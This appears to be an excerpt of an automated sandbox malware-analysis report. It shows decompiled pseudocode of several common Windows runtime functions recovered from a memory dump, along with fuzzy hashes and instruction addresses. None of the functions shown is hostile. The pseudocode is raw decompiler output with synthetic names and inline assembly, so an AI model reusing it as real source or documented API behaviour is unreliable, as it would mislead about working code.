Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e40f033c397ca83a885a302b59d97a54783b29dc3ce0d8ad6ea726d347243e8
Instruction ID: 9810fa832f88c9a2f37a5f7901798bc739d5235b2662963b43f71c59ac2de5ea
Opcode Fuzzy Hash: 9e40f033c397ca83a885a302b59d97a54783b29dc3ce0d8ad6ea726d347243e8
Instruction Fuzzy Hash: D2414FB1E402289BDB24DF59C888AB9B7F5FB44300F1045EADA1997351EB709E85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 057AFDE2, Relevance: .1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E057AFDE2(signed int* __ecx, signed int __edx, signed int _a4) {
				char _v8;
				signed int _v12;
				signed int _t29;
				char* _t32;
				char* _t43;
				signed int _t80;
				signed int* _t84;

				_push(__ecx);
				_push(__ecx);
				_t56 = __edx;
				_t84 = __ecx;
				_t80 = E057AFD4E(__ecx, __edx);
				_v12 = _t80;
				if(_t80 != 0) {
					_t29 =  *__ecx & _t80;
					_t74 = (_t80 - _t29 >> 4 << __ecx[1]) + _t29;
					if(__edx <= (_t80 - _t29 >> 4 << __ecx[1]) + _t29) {
						E057B0A13(__ecx, _t80, 0, _a4);
						_t80 = 1;
						if(E05707D50() == 0) {
							_t32 = 0x7ffe0380;
						} else {
							_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
							_push(3);
							L21:
							E057A1608( *((intOrPtr*)(_t84 + 0x3c)), _t56);
						}
						goto L22;
					}
					if(( *(_t80 + 0xc) & 0x0000000c) != 8) {
						_t80 = E057B2B28(__ecx[0xc], _t74, __edx, _a4,  &_v8);
						if(_t80 != 0) {
							_t66 =  *((intOrPtr*)(_t84 + 0x2c));
							_t77 = _v8;
							if(_v8 <=  *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x2c)) + 0x28)) - 8) {
								E057AC8F7(_t66, _t77, 0);
							}
						}
					} else {
						_t80 = E057ADBD2(__ecx[0xb], _t74, __edx, _a4);
					}
					if(E05707D50() == 0) {
						_t43 = 0x7ffe0380;
					} else {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t43 == 0 || ( *( *[fs:0x30] + 0x240) & 0x00000001) == 0 || _t80 == 0) {
						goto L22;
					} else {
						_push((0 | ( *(_v12 + 0xc) & 0x0000000c) != 0x00000008) + 2);
						goto L21;
					}
				} else {
					_push(__ecx);
					_push(_t80);
					E057AA80D(__ecx[0xf], 9, __edx, _t80);
					L22:
					return _t80;
				}
			}

0x057afde7
0x057afde8
0x057afdec
0x057afdee
0x057afdf5
0x057afdf7
0x057afdfc
0x057afe19
0x057afe22
0x057afe26
0x057afec6
0x057afecd
0x057afed5
0x057afee7
0x057afed7
0x057afee0
0x057afee0
0x057afeef
0x057aff00
0x057aff02
0x057aff07
0x057aff07
0x00000000
0x057afeef
0x057afe33
0x057afe55
0x057afe59
0x057afe5b
0x057afe5e
0x057afe69
0x057afe6d
0x057afe6d
0x057afe69
0x057afe35
0x057afe41
0x057afe41
0x057afe79
0x057afe8b
0x057afe7b
0x057afe84
0x057afe84
0x057afe93
0x00000000
0x057afea8
0x057afeba
0x00000000
0x057afeba
0x057afdfe
0x057afe01
0x057afe02
0x057afe08
0x057aff0c
0x057aff14
0x057aff14

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction ID: 662704a4de37e59a388c3233e78c90cc781c3b13cbd2d98a811dea98888c651a
Opcode Fuzzy Hash: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction Fuzzy Hash: E2310A77308680AFD322D768C848F6BB7EAFBC5750F184658E4468B742DA75DC41D710

Uniqueness

Uniqueness Score: -1.00%

Function 057AEA55, Relevance: .1, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E057AEA55(intOrPtr* __ecx, char __edx, signed int _a4) {
				signed int _v8;
				char _v12;
				intOrPtr _v15;
				char _v16;
				intOrPtr _v19;
				void* _v28;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				signed char _t26;
				signed int _t27;
				char* _t40;
				unsigned int* _t50;
				intOrPtr* _t58;
				unsigned int _t59;
				char _t75;
				signed int _t86;
				intOrPtr _t88;
				intOrPtr* _t91;

				_t75 = __edx;
				_t91 = __ecx;
				_v12 = __edx;
				_t50 = __ecx + 0x30;
				_t86 = _a4 & 0x00000001;
				if(_t86 == 0) {
					E05702280(_t26, _t50);
					_t75 = _v16;
				}
				_t58 = _t91;
				_t27 = E057AE815(_t58, _t75);
				_v8 = _t27;
				if(_t27 != 0) {
					E056EF900(_t91 + 0x34, _t27);
					if(_t86 == 0) {
						E056FFFB0(_t50, _t86, _t50);
					}
					_push( *((intOrPtr*)(_t91 + 4)));
					_push( *_t91);
					_t59 =  *(_v8 + 0x10);
					_t53 = 1 << (_t59 >> 0x00000002 & 0x0000003f);
					_push(0x8000);
					_t11 = _t53 - 1; // 0x0
					_t12 = _t53 - 1; // 0x0
					_v16 = ((_t59 >> 0x00000001 & 1) + (_t59 >> 0xc) << 0xc) - 1 + (1 << (_t59 >> 0x00000002 & 0x0000003f)) - (_t11 + ((_t59 >> 0x00000001 & 1) + (_t59 >> 0x0000000c) << 0x0000000c) & _t12);
					E057AAFDE( &_v12,  &_v16);
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					E057ABCD2(_v8,  *_t91,  *((intOrPtr*)(_t91 + 4)));
					_t55 = _v36;
					_t88 = _v36;
					if(E05707D50() == 0) {
						_t40 = 0x7ffe0388;
					} else {
						_t55 = _v19;
						_t40 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t40 != 0) {
						E0579FE3F(_t55, _t91, _v15, _t55);
					}
				} else {
					if(_t86 == 0) {
						E056FFFB0(_t50, _t86, _t50);
						_t75 = _v16;
					}
					_push(_t58);
					_t88 = 0;
					_push(0);
					E057AA80D(_t91, 8, _t75, 0);
				}
				return _t88;
			}

0x057aea55
0x057aea66
0x057aea68
0x057aea6c
0x057aea6f
0x057aea72
0x057aea75
0x057aea7a
0x057aea7a
0x057aea7e
0x057aea80
0x057aea85
0x057aea8b
0x057aeab5
0x057aeabc
0x057aeabf
0x057aeabf
0x057aeaca
0x057aeace
0x057aead0
0x057aeae4
0x057aeaeb
0x057aeaf0
0x057aeaf5
0x057aeb09
0x057aeb0d
0x057aeb1d
0x057aeb2d
0x057aeb38
0x057aeb3d
0x057aeb41
0x057aeb4a
0x057aeb60
0x057aeb4c
0x057aeb52
0x057aeb59
0x057aeb59
0x057aeb68
0x057aeb71
0x057aeb71
0x057aea8d
0x057aea8f
0x057aea92
0x057aea97
0x057aea97
0x057aea9b
0x057aea9c
0x057aea9e
0x057aeaa6
0x057aeaa6
0x057aeb7e

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction ID: 8af0443e012d38596991f94f78208a764e428036b3fc3c3138f2b2814a1b7a9c
Opcode Fuzzy Hash: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction Fuzzy Hash: 76317072705705ABC719DF24C888E6BB7EAFBC4210F044A2DE95687745EA30E809DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 057669A6, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E057669A6(signed short* __ecx, void* __eflags) {
				signed int _v8;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				char* _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				char _v72;
				signed short* _v76;
				signed int _v80;
				char _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t68;
				intOrPtr _t73;
				signed short* _t74;
				void* _t77;
				void* _t78;
				signed int _t79;
				signed int _t80;

				_v8 =  *0x57dd360 ^ _t80;
				_t75 = 0x100;
				_v64 = _v64 & 0x00000000;
				_v76 = __ecx;
				_t79 = 0;
				_t68 = 0;
				_v72 = 1;
				_v68 =  *((intOrPtr*)( *[fs:0x18] + 0x20));
				_t77 = 0;
				if(L056F6C59(__ecx[2], 0x100, __eflags) != 0) {
					_t79 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
					if(_t79 != 0 && E05766BA3() != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0x1f0003);
						_push( &_v64);
						if(E05729980() >= 0) {
							E05702280(_t56, 0x57d8778);
							_t77 = 1;
							_t68 = 1;
							if( *0x57d8774 == 0) {
								asm("cdq");
								 *(_t79 + 0xf70) = _v64;
								 *(_t79 + 0xf74) = 0x100;
								_t75 = 0;
								_t73 = 4;
								_v60 =  &_v68;
								_v52 = _t73;
								_v36 = _t73;
								_t74 = _v76;
								_v44 =  &_v72;
								 *0x57d8774 = 1;
								_v56 = 0;
								_v28 = _t74[2];
								_v48 = 0;
								_v20 = ( *_t74 & 0x0000ffff) + 2;
								_v40 = 0;
								_v32 = 0;
								_v24 = 0;
								_v16 = 0;
								if(E056EB6F0(0x56cc338, 0x56cc288, 3,  &_v60) == 0) {
									_v80 = _v80 | 0xffffffff;
									_push( &_v84);
									_push(0);
									_push(_v64);
									_v84 = 0xfa0a1f00;
									E05729520();
								}
							}
						}
					}
				}
				if(_v64 != 0) {
					_push(_v64);
					E057295D0();
					 *(_t79 + 0xf70) =  *(_t79 + 0xf70) & 0x00000000;
					 *(_t79 + 0xf74) =  *(_t79 + 0xf74) & 0x00000000;
				}
				if(_t77 != 0) {
					E056FFFB0(_t68, _t77, 0x57d8778);
				}
				_pop(_t78);
				return E0572B640(_t68, _t68, _v8 ^ _t80, _t75, _t78, _t79);
			}

0x057669b5
0x057669be
0x057669c3
0x057669c9
0x057669cc
0x057669d1
0x057669d3
0x057669de
0x057669e1
0x057669ea
0x057669f6
0x057669fe
0x05766a13
0x05766a14
0x05766a15
0x05766a16
0x05766a1e
0x05766a26
0x05766a31
0x05766a36
0x05766a37
0x05766a40
0x05766a49
0x05766a4a
0x05766a53
0x05766a59
0x05766a5d
0x05766a5e
0x05766a64
0x05766a67
0x05766a6a
0x05766a6d
0x05766a70
0x05766a77
0x05766a7d
0x05766a86
0x05766a89
0x05766a9c
0x05766a9f
0x05766aa2
0x05766aa5
0x05766aaf
0x05766ab1
0x05766ab8
0x05766ab9
0x05766abb
0x05766abe
0x05766ac5
0x05766ac5
0x05766aaf
0x05766a40
0x05766a26
0x057669fe
0x05766ace
0x05766ad0
0x05766ad3
0x05766ad8
0x05766adf
0x05766adf
0x05766ae8
0x05766aef
0x05766aef
0x05766af9
0x05766b06

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb46a2dc69c40e06355314ae79442b775df7483f8fad43281867242cc822f405
Instruction ID: 929c84b6b4e7ff4774f75a67d6bab8ca5b27a3cdd745eecb464b32402df9e962
Opcode Fuzzy Hash: fb46a2dc69c40e06355314ae79442b775df7483f8fad43281867242cc822f405
Instruction Fuzzy Hash: F5418CB1E01208AFDB20CFA5D944BFEBBF5FF48714F14812AE959A3240DB709905EB51

Uniqueness

Uniqueness Score: -1.00%

Function 056E5210, Relevance: .1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E056E5210(intOrPtr _a4, void* _a8) {
				void* __ecx;
				intOrPtr _t31;
				signed int _t32;
				signed int _t33;
				intOrPtr _t35;
				signed int _t52;
				void* _t54;
				void* _t56;
				unsigned int _t59;
				signed int _t60;
				void* _t61;

				_t61 = E056E52A5(1);
				if(_t61 == 0) {
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t54 =  *((intOrPtr*)(_t31 + 0x28));
					_t59 =  *(_t31 + 0x24) & 0x0000ffff;
				} else {
					_t54 =  *((intOrPtr*)(_t61 + 0x10));
					_t59 =  *(_t61 + 0xc) & 0x0000ffff;
				}
				_t60 = _t59 >> 1;
				_t32 = 0x3a;
				if(_t60 < 2 ||  *((intOrPtr*)(_t54 + _t60 * 2 - 4)) == _t32) {
					_t52 = _t60 + _t60;
					if(_a4 > _t52) {
						goto L5;
					}
					if(_t61 != 0) {
						asm("lock xadd [esi], eax");
						if((_t32 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E057295D0();
							L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					} else {
						E056FEB70(_t54, 0x57d79a0);
					}
					_t26 = _t52 + 2; // 0xddeeddf0
					return _t26;
				} else {
					_t52 = _t60 + _t60;
					if(_a4 < _t52) {
						if(_t61 != 0) {
							asm("lock xadd [esi], eax");
							if((_t32 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t61 + 4)));
								E057295D0();
								L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
							}
						} else {
							E056FEB70(_t54, 0x57d79a0);
						}
						return _t52;
					}
					L5:
					_t33 = E0572F3E0(_a8, _t54, _t52);
					if(_t61 == 0) {
						E056FEB70(_t54, 0x57d79a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t33 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E057295D0();
							L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					}
					_t35 = _a8;
					if(_t60 <= 1) {
						L9:
						_t60 = _t60 - 1;
						 *((short*)(_t52 + _t35 - 2)) = 0;
						goto L10;
					} else {
						_t56 = 0x3a;
						if( *((intOrPtr*)(_t35 + _t60 * 2 - 4)) == _t56) {
							 *((short*)(_t52 + _t35)) = 0;
							L10:
							return _t60 + _t60;
						}
						goto L9;
					}
				}
			}

0x056e5220
0x056e5224
0x05740d13
0x05740d16
0x05740d19
0x056e522a
0x056e522a
0x056e522d
0x056e522d
0x056e5231
0x056e5235
0x056e5239
0x05740d5c
0x05740d62
0x00000000
0x00000000
0x05740d6a
0x05740d7b
0x05740d7f
0x05740d81
0x05740d84
0x05740d95
0x05740d95
0x05740d6c
0x05740d71
0x05740d71
0x05740d9a
0x00000000
0x056e524a
0x056e524a
0x056e5250
0x05740d24
0x05740d35
0x05740d39
0x05740d3b
0x05740d3e
0x05740d50
0x05740d50
0x05740d26
0x05740d2b
0x05740d2b
0x00000000
0x05740d55
0x056e5256
0x056e525b
0x056e5265
0x05740da7
0x056e526b
0x056e526e
0x056e5272
0x05740db1
0x05740db4
0x05740dc5
0x05740dc5
0x056e5272
0x056e5278
0x056e527e
0x056e528a
0x056e528c
0x056e528d
0x00000000
0x056e5280
0x056e5282
0x056e5288
0x056e529f
0x056e5292
0x00000000
0x056e5292
0x00000000
0x056e5288
0x056e527e

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 184b3acf9bc5e2791f01e2a0c42663124d499fe89c6f97049bfa3d36d74ec8c9
Instruction ID: bc4bb8c5b413660831f975a37602713b7a68ef5206626d24562f9d95c2888e1b
Opcode Fuzzy Hash: 184b3acf9bc5e2791f01e2a0c42663124d499fe89c6f97049bfa3d36d74ec8c9
Instruction Fuzzy Hash: 78311431742620EFC735AF28C988F3A77A6FF10764F114619E9564B5E1DB70E804EE90

Uniqueness

Uniqueness Score: -1.00%

Function 05723D43, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E05723D43(signed short* __ecx, signed short* __edx, signed short* _a4, signed short** _a8, intOrPtr* _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				char _v12;
				signed short** _t33;
				short* _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				signed short _t43;
				intOrPtr* _t47;
				intOrPtr* _t53;
				signed short _t57;
				intOrPtr _t58;
				signed short _t60;
				signed short* _t61;

				_t47 = __ecx;
				_t61 = __edx;
				_t60 = ( *__ecx & 0x0000ffff) + 2;
				if(_t60 > 0xfffe) {
					L22:
					return 0xc0000106;
				}
				if(__edx != 0) {
					if(_t60 <= ( *(__edx + 2) & 0x0000ffff)) {
						L5:
						E056F7B60(0, _t61, 0x56c11c4);
						_v12 =  *_t47;
						_v12 = _v12 + 0xfff8;
						_v8 =  *((intOrPtr*)(_t47 + 4)) + 8;
						E056F7B60(0xfff8, _t61,  &_v12);
						_t33 = _a8;
						if(_t33 != 0) {
							 *_t33 = _t61;
						}
						 *((short*)(_t61[2] + (( *_t61 & 0x0000ffff) >> 1) * 2)) = 0;
						_t53 = _a12;
						if(_t53 != 0) {
							_t57 = _t61[2];
							_t38 = _t57 + ((( *_t61 & 0x0000ffff) >> 1) - 1) * 2;
							while(_t38 >= _t57) {
								if( *_t38 == 0x5c) {
									_t41 = _t38 + 2;
									if(_t41 == 0) {
										break;
									}
									_t58 = 0;
									if( *_t41 == 0) {
										L19:
										 *_t53 = _t58;
										goto L7;
									}
									 *_t53 = _t41;
									goto L7;
								}
								_t38 = _t38 - 2;
							}
							_t58 = 0;
							goto L19;
						} else {
							L7:
							_t39 = _a16;
							if(_t39 != 0) {
								 *_t39 = 0;
								 *((intOrPtr*)(_t39 + 4)) = 0;
								 *((intOrPtr*)(_t39 + 8)) = 0;
								 *((intOrPtr*)(_t39 + 0xc)) = 0;
							}
							return 0;
						}
					}
					_t61 = _a4;
					if(_t61 != 0) {
						L3:
						_t43 = L05704620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t60);
						_t61[2] = _t43;
						if(_t43 == 0) {
							return 0xc0000017;
						}
						_t61[1] = _t60;
						 *_t61 = 0;
						goto L5;
					}
					goto L22;
				}
				_t61 = _a4;
				if(_t61 == 0) {
					return 0xc000000d;
				}
				goto L3;
			}

0x05723d4c
0x05723d50
0x05723d55
0x05723d5e
0x0575e79a
0x00000000
0x0575e79a
0x05723d68
0x0575e789
0x05723d9d
0x05723da3
0x05723daf
0x05723db5
0x05723dbc
0x05723dc4
0x05723dc9
0x05723dce
0x0575e7ae
0x0575e7ae
0x05723dde
0x05723de2
0x05723de7
0x05723e0d
0x05723e13
0x05723e16
0x05723e1e
0x05723e25
0x05723e28
0x00000000
0x00000000
0x05723e2a
0x05723e2f
0x05723e37
0x05723e37
0x00000000
0x05723e37
0x05723e31
0x00000000
0x05723e31
0x05723e20
0x05723e20
0x05723e35
0x00000000
0x05723de9
0x05723de9
0x05723de9
0x05723dee
0x05723dfd
0x05723dff
0x05723e02
0x05723e05
0x05723e05
0x00000000
0x05723df0
0x05723de7
0x0575e78f
0x0575e794
0x05723d79
0x05723d84
0x05723d89
0x05723d8e
0x00000000
0x0575e7a4
0x05723d96
0x05723d9a
0x00000000
0x05723d9a
0x00000000
0x0575e794
0x05723d6e
0x05723d73
0x00000000
0x0575e7b5
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9b4505725848e3f052bc36b40a4980654b59282675b3f4edfefb282d809e81e
Instruction ID: 000b33e35bd822acb98a524aeb193b0ea574a2b228513e0fc5e1ebb1ee3d2162
Opcode Fuzzy Hash: b9b4505725848e3f052bc36b40a4980654b59282675b3f4edfefb282d809e81e
Instruction Fuzzy Hash: 07318B31A05635DBC728CF29C841A7ABBF6FF45710B0588AEE84ACB350E678D940E790

Uniqueness

Uniqueness Score: -1.00%

Function 0571A61C, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0571A61C(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t45;
				intOrPtr* _t51;
				intOrPtr* _t52;
				intOrPtr* _t55;
				signed int _t57;
				intOrPtr* _t59;
				intOrPtr _t68;
				intOrPtr* _t77;
				void* _t79;
				signed int _t80;
				intOrPtr _t81;
				char* _t82;
				void* _t83;

				_push(0x24);
				_push(0x57c0220);
				E0573D08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t83 - 0x30)) = __edx;
				_t79 = __ecx;
				_t35 =  *0x57d7b9c; // 0x0
				_t55 = L05704620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t35 + 0xc0000, 0x28);
				 *((intOrPtr*)(_t83 - 0x24)) = _t55;
				if(_t55 == 0) {
					_t39 = 0xc0000017;
					L11:
					return E0573D0D1(_t39);
				}
				_t68 = 0;
				 *((intOrPtr*)(_t83 - 0x1c)) = 0;
				 *(_t83 - 4) =  *(_t83 - 4) & 0;
				_t7 = _t55 + 8; // 0x8
				_t57 = 6;
				memcpy(_t7, _t79, _t57 << 2);
				_t80 = 0xfffffffe;
				 *(_t83 - 4) = _t80;
				if(0 < 0) {
					L14:
					_t81 =  *((intOrPtr*)(_t83 - 0x1c));
					L20:
					L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t55);
					_t39 = _t81;
					goto L11;
				}
				if( *((intOrPtr*)(_t55 + 0xc)) <  *(_t55 + 8)) {
					_t81 = 0xc000007b;
					goto L20;
				}
				if( *((intOrPtr*)(_t83 + 0xc)) == 0) {
					_t59 =  *((intOrPtr*)(_t83 + 8));
					_t45 =  *_t59;
					 *((intOrPtr*)(_t83 - 0x20)) = _t45;
					 *_t59 = _t45 + 1;
					L6:
					 *(_t83 - 4) = 1;
					 *((intOrPtr*)( *((intOrPtr*)(_t55 + 0x10)))) =  *((intOrPtr*)(_t83 - 0x20));
					 *(_t83 - 4) = _t80;
					if(_t68 < 0) {
						_t82 =  *((intOrPtr*)(_t83 + 0xc));
						if(_t82 == 0) {
							goto L14;
						}
						asm("btr eax, ecx");
						_t81 =  *((intOrPtr*)(_t83 - 0x1c));
						if( *_t82 != 0) {
							 *0x57d7b10 =  *0x57d7b10 - 8;
						}
						goto L20;
					}
					 *((intOrPtr*)(_t55 + 0x24)) =  *((intOrPtr*)(_t83 - 0x20));
					 *((intOrPtr*)(_t55 + 0x20)) =  *((intOrPtr*)(_t83 - 0x30));
					_t51 =  *0x57d536c; // 0x77f05368
					if( *_t51 != 0x57d5368) {
						_push(3);
						asm("int 0x29");
						goto L14;
					}
					 *_t55 = 0x57d5368;
					 *((intOrPtr*)(_t55 + 4)) = _t51;
					 *_t51 = _t55;
					 *0x57d536c = _t55;
					_t52 =  *((intOrPtr*)(_t83 + 0x10));
					if(_t52 != 0) {
						 *_t52 = _t55;
					}
					_t39 = 0;
					goto L11;
				}
				_t77 =  *((intOrPtr*)(_t83 + 8));
				_t68 = E0571A70E(_t77,  *((intOrPtr*)(_t83 + 0xc)));
				 *((intOrPtr*)(_t83 - 0x1c)) = _t68;
				if(_t68 < 0) {
					goto L14;
				}
				 *((intOrPtr*)(_t83 - 0x20)) =  *_t77;
				goto L6;
			}

0x0571a61c
0x0571a61e
0x0571a623
0x0571a628
0x0571a62b
0x0571a62d
0x0571a648
0x0571a64a
0x0571a64f
0x05759b44
0x0571a6ec
0x0571a6f1
0x0571a6f1
0x0571a655
0x0571a657
0x0571a65a
0x0571a65d
0x0571a662
0x0571a663
0x0571a667
0x0571a668
0x0571a66d
0x0571a706
0x0571a706
0x05759bda
0x05759be6
0x05759beb
0x00000000
0x05759beb
0x0571a679
0x05759b7a
0x00000000
0x05759b7a
0x0571a683
0x0571a6f4
0x0571a6f7
0x0571a6f9
0x0571a6fd
0x0571a6a0
0x0571a6a0
0x0571a6ad
0x0571a6af
0x0571a6b4
0x05759ba7
0x05759bac
0x00000000
0x00000000
0x05759bc6
0x05759bce
0x05759bd1
0x05759bd3
0x05759bd3
0x00000000
0x05759bd1
0x0571a6bd
0x0571a6c3
0x0571a6c6
0x0571a6d2
0x0571a701
0x0571a704
0x00000000
0x0571a704
0x0571a6d4
0x0571a6d6
0x0571a6d9
0x0571a6db
0x0571a6e1
0x0571a6e6
0x0571a6e8
0x0571a6e8
0x0571a6ea
0x00000000
0x0571a6ea
0x0571a688
0x0571a692
0x0571a694
0x0571a699
0x00000000
0x00000000
0x0571a69d
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7b6fd8a7277d60671fa7c8ebf96be103cda17fe8100c83d74e13fc42c20a575
Instruction ID: 0c1cc91133c75d20fe6df8a312428af092e4d1e182af3e3d5b3c55395c04f0cf
Opcode Fuzzy Hash: e7b6fd8a7277d60671fa7c8ebf96be103cda17fe8100c83d74e13fc42c20a575
Instruction Fuzzy Hash: 14419CB5A05205DFCB05CF58C890BA9BBF2FB49310F19C0A9ED05AB345C774A901EBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0570C182, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0570C182(void* __ecx, unsigned int* __edx, intOrPtr _a4) {
				signed int* _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				signed char _t43;
				signed char _t48;
				signed char _t62;
				void* _t63;
				intOrPtr _t69;
				intOrPtr _t71;
				unsigned int* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E05707D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E057B8D34(_v8, _t80);
					}
					E05702280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E056FFFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t30 = _t80 + 0xd0; // 0xd0
						_t83 = _t30;
						E057B8833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E056FFFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E0572B180();
						if(_a4 != 0) {
							E05702280(_t48, _t81);
						}
					} else {
						_t69 = _v8;
						_t12 = _t80 + 0x98; // 0x98
						_t13 = _t69 + 0xc; // 0x575651ff
						E0570BB2D(_t13, _t12);
						_t71 = _v8;
						_t15 = _t80 + 0xb0; // 0xb0
						_t16 = _t71 + 8; // 0x8b000cc2
						E0570BB2D(_t16, _t15);
						E0570B944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E056FFFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							_t25 = _t80 + 0x90; // 0x90
							E056FFFB0(0, _t80, _t25);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					_t24 = _t80 + 0x90; // 0x90
					E056FFFB0(0, __ecx, _t24);
				}
				return 0;
			}

0x0570c18d
0x0570c18f
0x0570c191
0x0570c19b
0x0570c1a0
0x0570c1d4
0x0570c1de
0x05752d6e
0x0570c1e4
0x0570c1e4
0x0570c1e4
0x0570c1ec
0x05752d7d
0x05752d7d
0x0570c1f3
0x0570c1ff
0x05752d88
0x05752d8d
0x05752d94
0x05752d94
0x05752d9f
0x05752da4
0x05752dab
0x05752db0
0x05752db2
0x05752db3
0x05752db4
0x05752dbc
0x05752dc3
0x05752dc3
0x0570c205
0x0570c205
0x0570c208
0x0570c20e
0x0570c211
0x0570c216
0x0570c219
0x0570c21f
0x0570c222
0x0570c22c
0x0570c234
0x0570c23a
0x0570c23f
0x0570c245
0x0570c24b
0x0570c251
0x0570c25a
0x0570c276
0x0570c27d
0x0570c27d
0x0570c25c
0x0570c25c
0x00000000
0x0570c25e
0x0570c1a4
0x0570c1aa
0x0570c1b3
0x0570c265
0x0570c26c
0x0570c26c
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction ID: 7d084ae637d768205864566941d97db2a514196042cdef6dd268b83a29854ef8
Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction Fuzzy Hash: 53311472B05686FAD705EBB4C488BE9F7D9BF42204F04525AD51C87381DB346A09E7A1

Uniqueness

Uniqueness Score: -1.00%

Function 05767016, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

